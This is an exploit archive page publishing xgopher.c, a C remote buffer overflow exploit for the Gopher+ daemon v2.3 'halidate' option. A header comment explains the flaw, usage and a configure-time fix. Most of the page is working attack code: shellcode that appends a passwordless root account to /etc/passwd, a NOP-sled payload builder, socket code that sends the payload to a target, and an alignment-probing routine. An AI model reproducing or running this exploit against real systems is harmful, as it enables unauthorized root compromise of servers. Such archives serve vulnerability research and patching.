exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

xgopher.c

xgopher.c
Posted Aug 12, 2000
Authored by vade79, realhalo | Site realhalo.org

Gopher+ daemon v2.3 remote root buffer overflow exploit - Tested against Slackware Linux 3.6 and 7.0. Adds a line to /etc/passwd.

tags | exploit, remote, overflow, root
systems | linux, slackware
SHA-256 | 9c2f2d4a91a62e040ddd61ebd3561c42d0097168294f3951f1f9d91c91fab2e1

xgopher.c

Change Mirror Download
/*  (linux)Gopher+[v2.3.1p0-]:  Daemon  remote  buffer  overflow.
Findings and exploit by: v9[v9@fakehalo.org]. (vade79)

It is possible to exploit an unchecked sprintf call in the
"halidate" option in gopherd.c. This exploit will attempt
to write a line to /etc/passwd. (as a superuser)

The gopher+ daemon has multiple overflows in different
functions, but most overwrite the pointer(s) with hardcoded
data from the program which are limited. But, the
"halidate" option/call was a little hidden suprise for me.

When the exploit is sucessfully executed it adds the line:
"hakroot::0:0:hacked:/:/bin/sh" to /etc/passwd, with no
0x0A return, which could cause some problems in some
situations. You may have to wait till someone on the box
modifies their /etc/passwd by adding a user or what not.

Syntax:
[syntax]: ./xgopher <target> [port] [offset] [alignment].
[syntax]: ./xgopher <target> <[port] [-getalignment]>.

Explaination:
If you don't know what the alignment of the server is, (which
isn't expected *g*) just type "./xgopher hostname [port]
-getalignment" and with aligment you're given type "./xgopher
hostname <port> <offset> <alignment response you are given>".

Info:
The following segment is from gopherd.c [line 1076/3453]:
("pathname" in the code segment is supplied by the user)

--------------------------------------------------------------------------------
void
OutputAuthForm(int sockfd, char *pathname, char *host, int port, CMDprotocol p)
{
char tmpbuf[512];
...
sprintf(tmpbuf,
"<FORM METHOD=\"GET\" ACTION=\"http://%s:%d/halidate%%20%s\">\r\n",
host, port, pathname);
...
}
--------------------------------------------------------------------------------

Notes:
This exploit requires that the service is running as root(to
write to /etc/passwd). Even if the gopher+ daemon displays
itself running as another user, as long as it's process is
running as root(uid=0) it should exploit successfully. Do to
the servers local host+port character lengths changing the
alignment will almost never be the same, I recommend using
the -getalignment parameter. You can play as much as you
want on this, the process is forked and won't crash the
gopher+ daemon with invalid pointers. This was also tested
effective on the 2.3 version of the gopher+ daemon.
Although this exploit is for linux servers, gopher+ isn't
just built for linux, it is also supported for BSD, Solaris,
SunOS, HP-UX and other operation systems.

Fix:
Compile with "./configure --disable-auth" (isn't disabled by
default) and then recompile gopher or wait for a patch.

Tests:
Built and tested on slackware 3.6 and slackware 7.0 linux.
(with lots of junk added to my /etc/passwd *g*)
*/
#define BSIZE 512 // buffer size. (tmpbuf[512] minus server data)
#define PADDING 150 // ret reps. (host+port length guessing room)
#define POINTER 0xbffff65c // base pointer in which offsets are added.
#define DEFAULT_PORT 70 // default gopher+ daemon port.
#define DEFAULT_OFFSET 0 // default offset. (argument is added)
#define DEFAULT_ALIGN 0 // alignment. (depends on host+port length)
#define TIMEOUT 5 // connection timeout time.
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
static char exec[]= // appends "hakroot::0:0:hacked:/:/bin/sh" to /etc/passwd.
"\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35\x01\xfb\x30\xe4\x88"
"\x63\x0b\x31\xc9\x66\xb9\x01\x04\x31\xd2\x66\xba\xa4\x01\x31\xc0\xb0\x05\xcd"
"\x80\x89\xc3\x31\xc9\xb1\x5b\x01\xf9\x31\xd2\xb2\x1d\x31\xc0\xb0\x04\xcd\x80"
"\x31\xc0\xb0\x01\xcd\x80\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x01\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x68\x61\x6b\x72\x6f\x6f\x74\x3a\x3a\x30\x3a\x30\x3a"
"\x68\x61\x63\x6b\x65\x64\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68";
void timeout(){printf("[timeout]: Connection timeout(%d).\n",TIMEOUT);quit(-1);}
int main(int argc,char **argv){
char bof[BSIZE];
int i,sock,port,offset,align,ga=0;
long ret=DEFAULT_OFFSET;
struct hostent *t;
struct sockaddr_in s;
printf("*** (linux)Gopherd+[v2.3.1p0-]: Remote buffer overflow, by: v9[v9@fake"
"halo.org].\n");
if(argc<2){
printf("[syntax]: %s <target> [port] [offset] [alignment].\n",argv[0]);
printf("[syntax]: %s <target> <[port] [-getalignment]>.\n",argv[0]);
quit(0);
}
if(argc>2){
if(!strcmp(argv[2],"-getalignment")){ga=1;port=DEFAULT_PORT;}
else{port=atoi(argv[2]);}
}
else{port=DEFAULT_PORT;}
if(argc>3){
if(!strcmp(argv[3],"-getalignment")){ga=1;}
else{offset=atoi(argv[3]);}
}
else{offset=DEFAULT_OFFSET;}
if(argc>4){
if(atoi(argv[4])<0||atoi(argv[4])>3){
printf("[ignored]: Invalid alignment, using default alignment. (0-3)\n");
align=DEFAULT_ALIGN;
}
else{align=atoi(argv[4]);}
}
else{align=DEFAULT_ALIGN;}
if(ga){getalignment(argv[1],port);}
else{
ret=(POINTER+offset);
printf("[stats]: Addr: 0x%lx, Offset: %d, Align: %d, Size: %d, Padding: %d.\n"
,ret,offset,align,BSIZE,PADDING);
for(i=align;i<BSIZE;i+=4){*(long *)&bof[i]=ret;}
for(i=0;i<(BSIZE-strlen(exec)-PADDING);i++){*(bof+i)=0x90;}
memcpy(bof+i,exec,strlen(exec));
memcpy(bof,"halidate ",9);
bof[BSIZE]='\0';
if(s.sin_addr.s_addr=inet_addr(argv[1])){
if(!(t=gethostbyname(argv[1]))){
printf("[error]: Couldn't resolve. (%s)\n",argv[1]);
quit(-1);
}
memcpy((char*)&s.sin_addr,(char*)t->h_addr,sizeof(s.sin_addr));
}
s.sin_family=AF_INET;
s.sin_port=htons(port);
sock=socket(AF_INET,SOCK_STREAM,0);
signal(SIGALRM,timeout);
printf("[data]: Attempting to connect to %s on port %d.\n",argv[1],port);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){
printf("[error]: Connection failed. (port=%d)\n",port);
quit(-1);
}
alarm(0);
printf("[data]: Connected successfully. (port=%d)\n",port);
printf("[data]: Sending buffer(%d) to server.\n",strlen(bof));
write(sock,bof,strlen(bof));
usleep(500000);
printf("[data]: Closing socket.\n");
close(sock);
}
quit(0);
}
int getalignment(char *target,int port){
char buf[1024];
int i,j,si,sock,math;
struct hostent *t;
struct sockaddr_in s;
if(s.sin_addr.s_addr=inet_addr(target)){
if(!(t=gethostbyname(target))){
printf("[error]: Couldn't resolve. (%s)\n",target);
quit(-1);
}
memcpy((char*)&s.sin_addr,(char*)t->h_addr,sizeof(s.sin_addr));
}
s.sin_family=AF_INET;
s.sin_port=htons(port);
sock=socket(AF_INET,SOCK_STREAM,0);
signal(SIGALRM,timeout);
printf("[data]: Attempting to connect to %s on port %d.\n",target,port);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){
printf("[error]: Connection failed. (port=%d)\n",port);
quit(-1);
}
alarm(0);
printf("[data]: Connected successfully. (port=%d)\n",port);
alarm(TIMEOUT);
write(sock,"halidate \n",10);
for(i=0;i<2;i++){if(!read(sock,buf,1024)){si++;}}
i=0;while(buf[i]&&!(buf[i]==0x4E)){i++;}
j=0;while(buf[j]&&!(buf[j]==0x25)){j++;}
usleep(500000);
printf("[data]: Closing socket.\n");
close(sock);
if(!si||i>=j||strlen(buf)<64){
printf("[error]: Too minimal or invalid data recieved to calculate. (try agai"
"n?)\n");
quit(-1);
}
else{
math=(i-j-2);
while(math<0){math+=4;}
printf("[data]: Alignment calculation: %d.\n",math);
}
}
int quit(int i){
if(i){
printf("[exit]: Dirty exit.\n");
exit(0);
}
else{
printf("[exit]: Clean exit.\n");
exit(-1);
}
}
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    26 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    18 Files
  • 21
    Jun 21st
    8 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    19 Files
  • 25
    Jun 25th
    5 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close